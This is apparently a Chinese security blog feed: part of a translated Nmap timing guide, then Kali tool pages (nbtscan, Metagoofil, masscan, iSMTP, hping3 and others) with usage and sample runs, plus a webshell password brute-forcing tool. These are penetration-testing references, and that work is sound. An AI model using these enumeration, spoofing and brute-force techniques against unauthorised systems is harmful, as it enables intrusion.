这些选项的主要用途是说明一个最小组的大小,使得整个扫描更加快速。通常 选择256来扫描C类网段。对于端口数较多的扫描,超出该值没有意义。对于 端口数较少的扫描,2048或更大的组大小是有帮助的。

–min-parallelism; –max-parallelism(调整探测报文的并行度)

这些选项控制用于主机组的探测报文数量,可用于端口扫描和主机发现。默认状态下, Nmap基于网络性能计算一个理想的并行度,这个值经常改变。如果报文被丢弃, Nmap降低速度,探测报文数量减少。随着网络性能的改善,理想的探测报文数量会缓慢增加。 这些选项确定这个变量的大小范围。默认状态下,当网络不可靠时,理想的并行度值 可能为1,在好的条件下,可能会增长至几百。

最常见的应用是–min-parallelism值大于1,以加快 性能不佳的主机或网络的扫描。这个选项具有风险,如果过高则影响准确度,同时 也会降低Nmap基于网络条件动态控制并行度的能力。这个值设为10较为合适, 这个值的调整往往作为最后的手段。

–max-parallelism选项通常设为1,以防止Nmap在同一时间 向主机发送多个探测报文,和选择–scan-delay同时使用非常有用,虽然 这个选项本身的用途已经很好。

–min-rtt-timeout, –max-rtt-timeout, –initial-rtt-timeout(调整探测报文超时)

Nmap使用一个运行超时值来确定等待探测报文响应的时间,随后会放弃或重新 发送探测报文。Nmap基于上一个探测报文的响应时间来计算超时值,如果网络延迟比较显著 和不定,这个超时值会增加几秒。初始值的比较保守(高),而当Nmap扫描无响应 的主机时,这个保守值会保持一段时间。

这些选项以毫秒为单位,采用小的–max-rtt-timeout值,使 –initial-rtt-timeout值大于默认值可以明显减少扫描时间,特别 是对不能ping通的扫描(-P0)以及具有严格过滤的网络。如果使用太 小的值,使得很多探测报文超时从而重新发送,而此时可能响应消息正在发送,这使得整个扫描的时 间会增加。

如果所有的主机都在本地网络,对于–max-rtt-timeout值来 说,100毫秒比较合适。如果存在路由,首先使用ICMP ping工具ping主机,或使用其 它报文工具如hpings,可以更好地穿透防火墙。查看大约10个包的最大往返时间,然后将 –initial-rtt-timeout设成这个时间的2倍,–max-rtt-timeout 可设成这个时间值的3倍或4倍。通常,不管ping的时间是多少,最大的rtt值不得小于100ms, 不能超过1000ms。

–min-rtt-timeout这个选项很少使用,当网络不可靠时, Nmap的默认值也显得过于强烈,这时这个选项可起作用。当网络看起来不可靠时,Nmap仅将 超时时间降至最小值,这个情况是不正常的,需要向nmap-dev邮件列表报告bug。

–host-timeout(放弃低速目标主机)

由于性能较差或不可靠的网络硬件或软件、带宽限制、严格的防火墙等原因, 一些主机需要很长的时间扫描。这些极少数的主机扫描往往占 据了大部分的扫描时间。因此,最好的办法是减少时间消耗并且忽略这些主机,使用 –host-timeout选项来说明等待的时间(毫秒)。通常使用1800000 来保证Nmap不会在单个主机上使用超过半小时的时间。需要注意的是,Nmap在这半小时中可以 同时扫描其它主机,因此并不是完全放弃扫描。超时的主机被忽略,因此也没有针对该主机的 端口表、操作系统检测或版本检测结果的输出。

–scan-delay; –max-scan-delay(调整探测报文的时间间隔)

这个选项用于Nmap控制针对一个主机发送探测报文的等待时间(毫秒),在带宽 控制的情况下这

]]>
项目地址:Nmap-Reference-Guide [https://github.com/sunnyelf/Nmap-Reference-Guide] #目录目录 * 译注 * 名称 * 命令 * 描述 * 选项概要 * 目标说明 * 主机发现 * 端口扫描基础 * 端口扫描技术 * 端口说明和扫描顺序 * 服务和版本探测 * 操作系统探测 * 时间和性能 * 防火墙/IDS躲避和欺骗 * 输出 * 其它选项 * 运行时交互 * 实例 * Bugs * 作者 * 法律事项(版权、许可证、担保(缺)、出口限制)
Kali Linux信息收集之nbtscan-unixwiz https://hackfun.org/2017/04/24/Kali-Linux信息收集之nbtscan-unixwiz/ 2017-04-24T05:34:00.000Z 2017-10-02T19:22:31.955Z 0x00 介绍

一个在本地或远程TCP/IP网络上扫描开放的NETBIOS名称服务器的命令行工具。它基于Windows系统的nbtstat工具的功能实现,但它可在许多地址上运行,而不是仅一个地址。

主页 | 仓库

  • 作者:Steve Friedl
  • 证书:public-domain

0x01 功能

NBTSCAN-unixwiz - 开放NETBIOS名称服务器扫描器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# nbtscan-unixwiz
nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/
用法: nbtscan-unixwiz [选项] 目标 [目标...]
目标可以是IP地址,DNS名称或地址的列表范围。
范围可以表示成“192.168.12.0/24”或“192.168.12.64-97”
-V 显示版本信息
-f 显示完整的NBT资源记录响应(推荐)
-H 生成HTTP请求头
-v 开启详细输出调试
-n 不查找响应IP地址的反向名称
-p <n> 绑定UDP端口(默认0)
-m 响应中包含MAC地址 (等同'-f')
-T <n> 超时不响应 (默认2秒)
-w <n> 次写入后等待秒数 (默认10ms)
-t <n> 每个地址尝试次数(默认1次)
-P 以perl的hashref格式生成结果

0x02 示例

扫描一系列IP地址(192.168.0.100-110),而不进行反向名称查找(-n):

1
2
3
root@kali:~# nbtscan-unixwiz -n 192.168.0.100-110
192.168.0.105 WORKGROUP\RETROPIE SHARING
*timeout (normal end of scan)

扫描单个IP地址(192.168.0.38)并显示完整的NBT资源记录响应(-f):

1
2
3
4
5
6
7
8
9
10
root@kali:~# nbtscan-unixwiz -f 192.168.0.38
192.168.0.38 WORKGROUP\DOOKOSSEL SHARING
DOOKOSSEL <00> UNIQUE Workstation Service
DOOKOSSEL <03> UNIQUE Messenger Service<3>
DOOKOSSEL <20> UNIQUE File Server Service
..__MSBROWSE__.<01> GROUP Master Browser
WORKGROUP <00> GROUP Domain Name
WORKGROUP <1d> UNIQUE Master Browser
WORKGROUP <1e> GROUP Browser Service Elections
00:00:00:00:00:00 ETHER

视频演示:https://asciinema.org/a/104243

]]>
#0X00-介绍0X00 介绍 一个在本地或远程TCP/IP网络上扫描开放的NETBIOS名称服务器的命令行工具。它基于Windows系统的nbtstat工具的功能实现,但它可在许多地址上运行,而不是仅一个地址。
Kali Linux信息收集之Metagoofil https://hackfun.org/2017/04/24/Kali-Linux信息收集之Metagoofil/ 2017-04-24T05:01:00.000Z 2017-10-02T19:22:31.951Z 0x00 介绍

Metagoofil是一种搜索提取目标公司公开文档(pdf,doc,xls,ppt,docx,pptx,xlsx)中元数据的信息收集工具。

Metagoofil将在Google中进行搜索,以将文档识别并下载到本地磁盘,然后将使用不同的库(如Hachoir,PdfMiner)提取元数据,通过分析得到结果生成具有用户名,软件版本和服务器或机器名称的报告,有助于渗透测试人员信息收集阶段的工作。

“MetaGooFil”也是信息收集过程中可以利用的优秀软件,由开发The Harvester的团队编写而成,可用来提取元数据(metadata)。元数据经常被定义为是关于数据的数据。在我们创建文档时,例如Word或PowerPoint演示文稿,额外的数据也会被同时创建,并储存在文档里。这些数据通常是对该文档的描述信息,包括文件名、文件大小、作者或创建者的用户名,以及文件保存的位置或路径。这个过程全自动进行,无需用户输入或干预。

攻击者若能读取到这些信息,就能对目标公司的用户名、系统名、文件共享以及其他诸多好东西有独特的见解。MetaGooFil就是这么一个工具,能在互联网上搜索属于目标的文档。一旦有所发现,MetaGooFil就会把这些文档下载下来,并尝试提取有用的元数据。

主页 | 仓库

  • 作者:Christian Martorella
  • 证书:GPLv2

0x01 功能

metagoofil - 用于提取公共文档元数据的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~# metagoofil
******************************************************
* /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | *
* / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
* / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | *
* \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
* |___/ *
* Metagoofil Ver 2.2 *
* Christian Martorella *
* Edge-Security.com *
* cmartorella_at_edge-security.com *
******************************************************
用法: metagoofil [选项]
-d: 目标域名
-t: 下载文件的类型 (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)
-l: 限制搜索结果数量 (默认 200)
-h: 分析目录中的文档 (值为"yes"进行本地分析)
-n: 限制下载文件数量
-o: 工作目录 (保存下载文件目录)
-f: 输出文件
示例:
metagoofil.py -d apple.com -t doc,pdf -l 200 -n 50 -o applefiles -f results.html
metagoofil.py -h yes -o applefiles -f results.html (本地目录分析)

0x02 示例

搜索PDF文件(-t pdf),搜索100个结果(-l 100),下载25个文件(-n 25),目标域(-d kali.org)中的文档,将下载保存到目录(-o kalipdf),并将输出保存到文件(-f kalipdf.html):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~# metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html
******************************************************
* /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | *
* / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
* / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | *
* \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
* |___/ *
* Metagoofil Ver 2.2 *
* Christian Martorella *
* Edge-Security.com *
* cmartorella_at_edge-security.com *
******************************************************
['pdf']
[-] Starting online search...
[-] Searching for pdf files, with a limit of 100
Searching 100 results...
Results: 21 files found
Starting to download 25 of them:

]]>
#0X00-介绍0X00 介绍 Metagoofil是一种搜索提取目标公司公开文档(pdf,doc,xls,ppt,docx,pptx,xlsx)中元数据的信息收集工具。 Metagoofil将在Google中进行搜索,以将文档识别并下载到本地磁盘,然后将使用不同的库(如Hachoir,PdfMiner)提取元数据,通过分析得到结果生成具有用户名,软件版本和服务器或机器名称的报告,有助于渗透测试人员信息收集阶段的工作。 “MetaGooFil”也是信息收集过程中可以利用的优秀软件,由开发The Harvester的团队编写而成,可用来提取元数据(metadata)。元数据经常被定义为是关于数据的数据。在我们创建文档时,例如Word或PowerPoint演示文稿,额外的数据也会被同时创建,并储存在文档里。这些数据通常是对该文档的描述信息,包括文件名、文件大小、作者或创建者的用户名,以及文件保存的位置或路径。这个过程全自动进行,无需用户输入或干预。 攻击者若能读取到这些信息,就能对目标公司的用户名、系统名、文件共享以及其他诸多好东西有独特的见解。MetaGooFil就是这么一个工具,能在互联网上搜索属于目标的文档。一旦有所发现,MetaGooFil就会把这些文档下载下来,并尝试提取有用的元数据。
Webshell密码极速爆破工具-cheetah https://hackfun.org/2017/04/24/Webshell密码极速爆破工具-cheetah/ 2017-04-24T04:32:00.000Z 2017-10-02T19:31:43.911Z 0x00 介绍

Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。

项目地址:https://github.com/sunnyelf/cheetah

0x01 特点

  • 速度极快
  • 支持批量爆破
  • 自动伪造请求
  • 自动探测web服务设置相关参数
  • 支持读取和去重超大密码字典文件
  • 支持python 2.x和3.x
  • 目前支持php、jsp、asp、aspx webshell

0x02 参数说明

_________________________________________________       ______              _____         ________________  /_ _____ _____ __  /_______ ____  /__  ___/__  __ \_  _ \_  _ \_  __/_  __ \ __  __ \/ /__  _  / / //  __//  __// /_  / /_/ / _  / / /\___/  / / /_/ \___/ \___/ \__/  \____/  / / /_/      /_/                               /_/a very fast brute force webshell password tool.usage: cheetah.py [-h] [-i] [-v] [-c] [-up] [-r] [-w] [-s] [-n] [-u] [-b]                   [-p [file [file ...]]]可选参数:  -h, --help            显示帮助信息并退出  -i, --info            显示程序信息并退出  -v, --verbose         启用详细输出模式(默认禁用)  -c, --clear           去重字典文件(默认禁用)  -up, --update         更新cheetah  -r , --request        指定请求方式(默认POST方式)  -t , --time           指定请求间隔时间(默认0秒)  -w , --webshell       指定webshell类型(默认自动探测)  -s , --server         指定web服务器名称(默认自动探测)  -n , --number         指定一次请求参数数量(默认自动设置)  -u , --url            指定webshell url地址  -b , --url-file       指定批量webshell urls文件  -p   file [file ...]  指定多个字典文件(默认使用data/pwd.list)使用示例:  python cheetah.py -u http://orz/orz.php  python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v  python cheetah.py -u http://orz/orz.asp -r get -c -p pwd.list  python cheetah.py -u http://orz/orz -w aspx -s apache -n 1000  python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

0x03 下载使用

git clone https://github.com/sunnyelf/cheetah.gitpython cheetah.py 

0x04 文件说明

cheetah:│  .codeclimate.yml│  .gitignore│  .travis.yml│  cheetah.py             主程序│  LICENSE│  README.md│  README_zh.md│  update.py              更新模块│├─data│      big_shell_pwd.7z   高效shell大字典│      pwd.list           默认指定字典文件│      url.list           默认指定批量webshell url文件│      user-agent.list    用户代理文件│└─images        1.png        2.png        3.png        4.png        logo.jpg

0x05 截图

Ubuntu

cheetah

Windows

cheetah
cheetah
cheetah

0x06 问题

如果在使用过程中出现了bug欢迎提交issues,我会及时回复并修复。

0x07 参考

让你的一句话爆破速度提升千倍

一种有效的Web指纹识别方法

识别Web服务器 (OTG-INFO-002)

python读GB级大文件

]]>
#0X00-介绍0X00 介绍 Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。 项目地址:https://github.com/sunnyelf/cheetah [https://github.com/sunnyelf/cheetah]
Kali Linux信息收集之masscan https://hackfun.org/2017/04/23/Kali-Linux信息收集之masscan/ 2017-04-23T03:03:41.000Z 2017-10-02T19:22:31.877Z 0x00 介绍

视频介绍:https://asciinema.org/a/31820
masscan目前是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。
masscan的扫描结果类似于nmap(一个很著名的端口扫描器),在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。

主页 | 仓库

  • 作者:Robert Graham
  • 证书:GPLv2

0x01 功能

masscan - 异步TCP端口扫描器

1
2
3
4
5
6
7
8
9
10
root@kali:~# masscan
用法:
masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
扫描一些Web端口10.x.x.x以每秒10000发包速率
masscan --nmap
列出与nmap兼容的选项
masscan -p80 10.0.0.0/8 --banners -oB <filename>
将二进制格式的扫描结果保存到<filename>
masscan --open --banners --readscan <filename> -oX <savefile>
读取二进制扫描结果<filename>,并将其保存为xml格式<savefile>

0x02 更多参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<ip/range> IP地址范围,有三种有效格式:
1、单独的IPv4地址
2、类似"10.0.0.1-10.0.0.233"的范围地址
3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开
-p <ports,--ports <ports>> 指定端口进行扫描
--banners 获取banner信息,支持少量的协议
--rate <packets-per-second> 指定发包的速率
-c <filename>, --conf <filename> 读取配置文件进行扫描
--echo 将当前的配置重定向到一个配置文件中
-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称
--adapter-ip <ip-address> 指定发包的IP地址
--adapter-port <port> 指定发包的源端口
--adapter-mac <mac-address> 指定发包的源MAC地址
--router-mac <mac address> 指定网关的MAC地址
--exclude <ip/range> IP地址范围黑名单,防止masscan扫描
--excludefile <filename> 指定IP地址范围黑名单文件
--includefile,-iL <filename> 读取一个范围列表进行扫描
--ping 扫描应该包含ICMP回应请求
--append-output 以附加的形式输出到文件
--iflist 列出可用的网络接口,然后退出
--retries 发送重试的次数,以1秒为间隔
--nmap 打印与nmap兼容的相关信息
--http-user-agent <user-agent> 设置user-agent字段的值
--show [open,close] 告诉要显示的端口状态,默认是显示开放端口
--noshow [open,close] 禁用端口状态显示
--pcap <filename> 将接收到的数据包以libpcap格式存储
--regress 运行回归测试,测试扫描器是否正常运行
--ttl <num> 指定传出数据包的TTL值,默认为255
--wait <seconds> 指定发送完包之后的等待时间,默认为10秒
--offline 没有实际的发包,主要用来测试开销
-sL 不执行扫描,主要是生成一个随机地址列表
--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.
--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。

0x03 教程

Masscan:最快的互联网IP端口扫描器
Kali下masscan的使用
基于无状态的极速扫描技术

]]>
#0X00-介绍0X00 介绍 视频介绍:https://asciinema.org/a/31820 [https://asciinema.org/a/31820] masscan目前是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。 masscan的扫描结果类似于nmap(一个很著名的端口扫描器),在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
Kali Linux信息收集之Maltego https://hackfun.org/2017/04/23/Kali-Linux信息收集之Maltego/ 2017-04-23T02:00:00.000Z 2017-10-02T19:22:31.910Z 0x00 介绍

Maltego是一个独特的平台,旨在为组织拥有和运营的环境提供清晰的威胁构图。Maltego的独特优势是展示单一故障点的复杂性和严重性以及当前基础架构范围内的信任关系。

Maltego向网络和资源为基础的实体提供的独特视角是在互联网上发布的信息的聚合 - 无论是当前配置的路由器在网络边缘的位置,还是当下某副总裁在国际上的下落,Maltego可以寻找、聚合和可视化这些信息。

Maltego为用户提供前所未有的信息。信息是杠杆;信息是力量;信息就是Maltego。

Maltego可以做什么?

Maltego是可用于确定之间的关系和真实世界之间的联系的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- 人
- 一群人(社交网络)
- 公司
- 组织机构
- 网站
- 互联网基础设施
- 域名
- DNS名称
- Netblocks
- IP地址
- 短语
- 附属机构
- 文档和文件
- 这些实体使用开源智能进行链接。
- Maltego易于安装 - 它使用Java,因此它可以在Windows,Mac和Linux上运行。
- Maltego 为您提供了一个图形界面,可让您快速,准确地查看这些关系,从而可以看到隐藏的连接。
- 使用图形用户界面(GUI),您可以轻松地看到关系 - 即使离开三到四度。
- Maltego是独一无二的,因为它使用了一个功能强大,灵活的框架,使自定义成为可能。因此,Maltego可以适应您自己的独特要求。

Maltego可以为我做什么?

1
2
3
4
- Maltego可用于所有安全相关工作的信息收集阶段。它将节省您的时间,并将使您更准确,更智能地工作。
- Maltego通过视觉展示搜索项目之间的互连链接,帮助您进行思索过程。
- Maltego为您提供了更强大的搜索功能,为您带来更智能的搜索结果。
- Maltego可以帮助您发现“隐藏”信息

主页 | 仓库

  • 作者:Paterva
  • 证书:Commercial

0x02 教程

Maltego信息收集基础教程
使用Kali Linux在渗透测试中信息收集
Maltego——互联网情报聚合工具初探
使用Maltego收集信息
使用Maltego进行互联网情报收集(入门篇)

]]>
#0X00-介绍0X00 介绍 Maltego是一个独特的平台,旨在为组织拥有和运营的环境提供清晰的威胁构图。Maltego的独特优势是展示单一故障点的复杂性和严重性以及当前基础架构范围内的信任关系。 Maltego向网络和资源为基础的实体提供的独特视角是在互联网上发布的信息的聚合 - 无论是当前配置的路由器在网络边缘的位置,还是当下某副总裁在国际上的下落,Maltego可以寻找、聚合和可视化这些信息。
Kali Linux信息收集之lbd https://hackfun.org/2017/04/23/Kali-Linux信息收集之lbd/ 2017-04-23T01:46:00.000Z 2017-10-02T19:22:31.906Z 0x00 介绍

视频介绍:https://asciinema.org/a/32257
lbd(load balancing detector,负载平衡检测器)检测给定的域是否使用DNS/HTTP负载平衡(通过Server和DateHTTP响应头字段和服务器应答之间的差异)。

主页 | 仓库

  • 作者:Stefan Behte
  • 证书:GPLv2

0x01 功能


1
2
3
4
5
6
root@kali:~# lbd
lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.
用法: /usr/bin/lbd [域名]

0x02 示例

测试目标域(example.com)是否使用负载平衡:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# lbd example.com
lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.
Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
ECS (sea/55ED)
ECS (sea/1C15)
FOUND

]]>
#0X00-介绍0X00 介绍 视频介绍:https://asciinema.org/a/32257 [https://asciinema.org/a/32257] lbd(load balancing detector,负载平衡检测器)检测给定的域是否使用DNS/HTTP负载平衡(通过Server和DateHTTP响应头字段和服务器应答之间的差异)。
Kali Linux信息收集之iSMTP https://hackfun.org/2017/04/23/Kali-Linux信息收集之iSMTP/ 2017-04-23T01:13:00.000Z 2017-10-02T19:22:31.942Z 0x00 介绍

测试SMTP用户枚举(RCPT TO和VRFY),内部欺骗和转发。

主页 | 仓库

  • 作者:Alton Johnson
  • 证书:GPLv2

0x01 功能

ismtp - SMTP用户枚举和测试工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@kali:~# ismtp
---------------------------------------------------------------------
iSMTP v1.6 - SMTP Server Tester, Alton Johnson ([email protected])
---------------------------------------------------------------------
用法: ./iSMTP.py <选项>
必需:
-f <import file> 导入用于测试的SMTP服务器列表(不能同时使用'-h')
-h <host> 目标IP和端口(格式 IP:port)(不能同时使用'-f')
欺骗:
-i <isa email> 互联网安全加速(Internet Security and Acceleration,ISA)电子邮件地址。
-s <sndr email> 发件人电子邮件地址。
-r <rcpt email> 收件人电子邮件地址。
--sr <email> 指定发件人和收件人电子邮件地址。
-S <sndr name> 发件人姓名。
-R <rcpt name> 收件人姓名。
--SR <name> 指定发件人和收件人姓名。
-m 启用S​​MTP欺骗测试。
-a 附带欺骗邮件的.txt附件。
SMTP枚举:
-e <file> 启用S​​MTP用户枚举测试并导入电子邮件列表。
-l <1|2|3> 指定枚举类型(1 = VRFY, 2 = RCPT TO, 3 = all).(默认第3种)
SMTP转发:
-i <isa email> 互联网安全加速(Internet Security and Acceleration,ISA)电子邮件地址。
-x 启用S​​MTP外部转发测试。
其他:
-t <secs> 超时值(Default is 10.)
-o 创建“ismtp-results”目录并将输出写入到ismtp-results/smtp_<service>_<ip>(port).txt
注意:支持任何选项的组合(例如枚举,转发,两者组合,所有组合等)。

0x02 示例

Test a list of IPs from a file (-f smtp-ips.txt) enumerating usernames from a dictionary file (-e /usr/share/wordlists/metasploit/unix_users.txt):
从一个IP列表文件(-f smtp-ips.txt)中枚举来自字典文件(-e /usr/share/wordlists/metasploit/unix_users.txt)的用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# ismtp -f smtp-ips.txt -e /usr/share/wordlists/metasploit/unix_users.txt
---------------------------------------------------------------------
iSMTP v1.6 - SMTP Server Tester, Alton Johnson ([email protected])
---------------------------------------------------------------------
Testing SMTP server [user enumeration]: 192.168.1.25:25
Emails provided for testing: 109
Performing SMTP VRFY test...
[-] 4Dgifts ------------- [ invalid ]
[-] EZsetup ------------- [ invalid ]
[+] ROOT ---------------- [ success ]
[+] adm ----------------- [ success ]

]]>
#0X00-介绍0X00 介绍 测试SMTP用户枚举(RCPT TO和VRFY),内部欺骗和转发。
Kali Linux信息收集之intrace https://hackfun.org/2017/04/23/Kali-Linux信息收集之intrace/ 2017-04-23T00:54:45.000Z 2017-10-02T19:22:31.946Z 0x00 介绍

InTrace是一款类似于Traceroute的被动路由跟踪工具。但它不同的是,他不主动发送数据包,而是通过监听当前主机和目标主机的数据包,进行分析,从而获取路由信息。这样既可以进行网络侦查,又可以绕过防火墙的限制,避免被防火墙发现。工具使用非常简单,只要开启监听,然后等待获取和目标主机的数据包,然后就可以获取路由跟踪信息了。使用的时候需要指定端口。该端口号必须在TCP连接中使用到。否则,就无法捕获对应的数据包。

主页 | 仓库

  • 作者:Robert Swiecki
  • 证书:GPLv3

0x01 功能

1
2
3
root@kali:~# intrace
InTrace, version 1.5 (C)2007-2011 Robert Swiecki <[email protected]>
2014/05/20 09:59:29.627368 <INFO> 用法: intrace <-h 主机> [-p <端口>] [-d <调试级别>] [-s <载荷大小>] [-6]

0x02 示例

使用数据包大小为4字节(-s 4),指定端口80(-p 80)向目标主机(-h www.example.com)进行路由跟踪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# intrace -h www.example.com -p 80 -s 4
InTrace 1.5 -- R: 93.184.216.119/80 (80) L: 192.168.1.130/51654
Payload Size: 4 bytes, Seq: 0x0d6dbb02, Ack: 0x8605bff0
Status: Packets sent #8
# [src addr] [icmp src addr] [pkt type]
1. [192.168.1.1 ] [93.184.216.119 ] [ICMP_TIMXCEED]
2. [192.168.0.1 ] [93.184.216.119 ] [ICMP_TIMXCEED]
3. [ --- ] [ --- ] [NO REPLY]
4. [64.59.184.185 ] [93.184.216.119 ] [ICMP_TIMXCEED]
5. [66.163.70.25 ] [93.184.216.119 ] [ICMP_TIMXCEED]
6. [66.163.64.150 ] [93.184.216.119 ] [ICMP_TIMXCEED]
7. [66.163.75.117 ] [93.184.216.119 ] [ICMP_TIMXCEED]
8. [206.223.119.59 ] [93.184.216.119 ] [ICMP_TIMXCEED]

]]>
#0X00-介绍0X00 介绍 InTrace是一款类似于Traceroute的被动路由跟踪工具。但它不同的是,他不主动发送数据包,而是通过监听当前主机和目标主机的数据包,进行分析,从而获取路由信息。这样既可以进行网络侦查,又可以绕过防火墙的限制,避免被防火墙发现。工具使用非常简单,只要开启监听,然后等待获取和目标主机的数据包,然后就可以获取路由跟踪信息了。使用的时候需要指定端口。该端口号必须在TCP连接中使用到。否则,就无法捕获对应的数据包。
Kali Linux信息收集之ident-user-enum https://hackfun.org/2017/04/23/Kali-Linux信息收集之ident-user-enum/ 2017-04-23T00:22:00.000Z 2017-10-02T19:22:31.938Z 0x00 介绍

视频介绍:https://asciinema.org/a/107704
ident-user-enum是一个简单的PERL脚本,用于查询识别服务(113/TCP),以确定在目标系统的每个TCP端口上侦听进程的所有者。 这可以帮助在一个最好的时间内确定目标服务的优先级(您可能希望攻击以root用户身份运行的服务)。或者,所收集的用户名的列表可用于对其他网络服务的密码猜测攻击。

工具来源:http://pentestmonkey.net/tools/user-enumeration/ident-user-enum
主页 | 仓库

  • 作者:pentestmonkey
  • 证书:MIT

0x01 功能

1
2
3
4
5
6
root@kali:~# ident-user-enum
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
用法: ident-user-enum.pl ip地址 端口
查询识别(113 / TCP)以确定操作系统级用户运行该进程在给定的TCP端口上侦听服务。可以提供多个端口。

0x02 示例

扫描远程主机(192.168.1.13),确定哪个用户在指定端口上运行服务(22 139 445)。

1
2
3
4
5
6
root@kali:~# ident-user-enum 192.168.1.13 22 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.1.13:22 root
192.168.1.13:139 root
192.168.1.13:445 root

]]>
#0X00-介绍0X00 介绍 视频介绍:https://asciinema.org/a/107704 [https://asciinema.org/a/107704] ident-user-enum是一个简单的PERL脚本,用于查询识别服务(113/TCP),以确定在目标系统的每个TCP端口上侦听进程的所有者。 这可以帮助在一个最好的时间内确定目标服务的优先级(您可能希望攻击以root用户身份运行的服务)。或者,所收集的用户名的列表可用于对其他网络服务的密码猜测攻击。
Kali Linux信息收集之hping3 https://hackfun.org/2017/04/23/Kali-Linux信息收集之hping3/ 2017-04-22T22:52:00.000Z 2017-10-02T19:22:31.935Z 0x00 hping3介绍

hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

虽然hping以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用hping的一小部分内容:

1
2
3
4
5
6
7
8
9
- 防火墙测试
- 高级端口扫描
- 网络测试,使用不同的协议,TOS,分片
- 手动路径MTU发现
- 在所有支持的协议下,高级traceroute
- 远程操作系统指纹
- 远程正常运行时间猜测
- TCP/IP协议栈审计
- hping也可以用于学习TCP/IP的学生

工具来源:http://www.hping.org/
hping3主页 | Kali hping3仓库

  • 作者:Salvatore Sanfilippo
  • 证书:GPLv2

0x01 hping3功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
root@kali:~# hping3 -h
用法: hping3 主机 [options]
-h --help 显示帮助
-v --version 显示版本
-c --count 数据包计数
-i --interval 等待 (uX即X微秒, 例如: -i u1000)
--fast 等同 -i u10000 (每秒10个包)
--faster 等同 -i u1000 (每秒100个包)
--flood 尽最快发送数据包,不显示回复。
-n --numeric 数字输出
-q --quiet 静默模式
-I --interface 接口名 (默认路由接口)
-V --verbose 详细模式
-D --debug 调试信息
-z --bind 绑定ctrl+z到ttl(默认为目的端口)
-Z --unbind 取消绑定ctrl+z键
--beep 对于接收到的每个匹配数据包蜂鸣声提示
模式
默认模式 TCP
-0 --rawip 原始IP模式
-1 --icmp ICMP模式
-2 --udp UDP模式
-8 --scan SCAN模式
例子: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen模式
IP
-a --spoof 伪造源地址
--rand-dest 随机目的地址模式。详细使用man命令
--rand-source 随机来源地址模式。详细使用man命令
-t --ttl ttl (默认64)
-N --id id (默认随机)
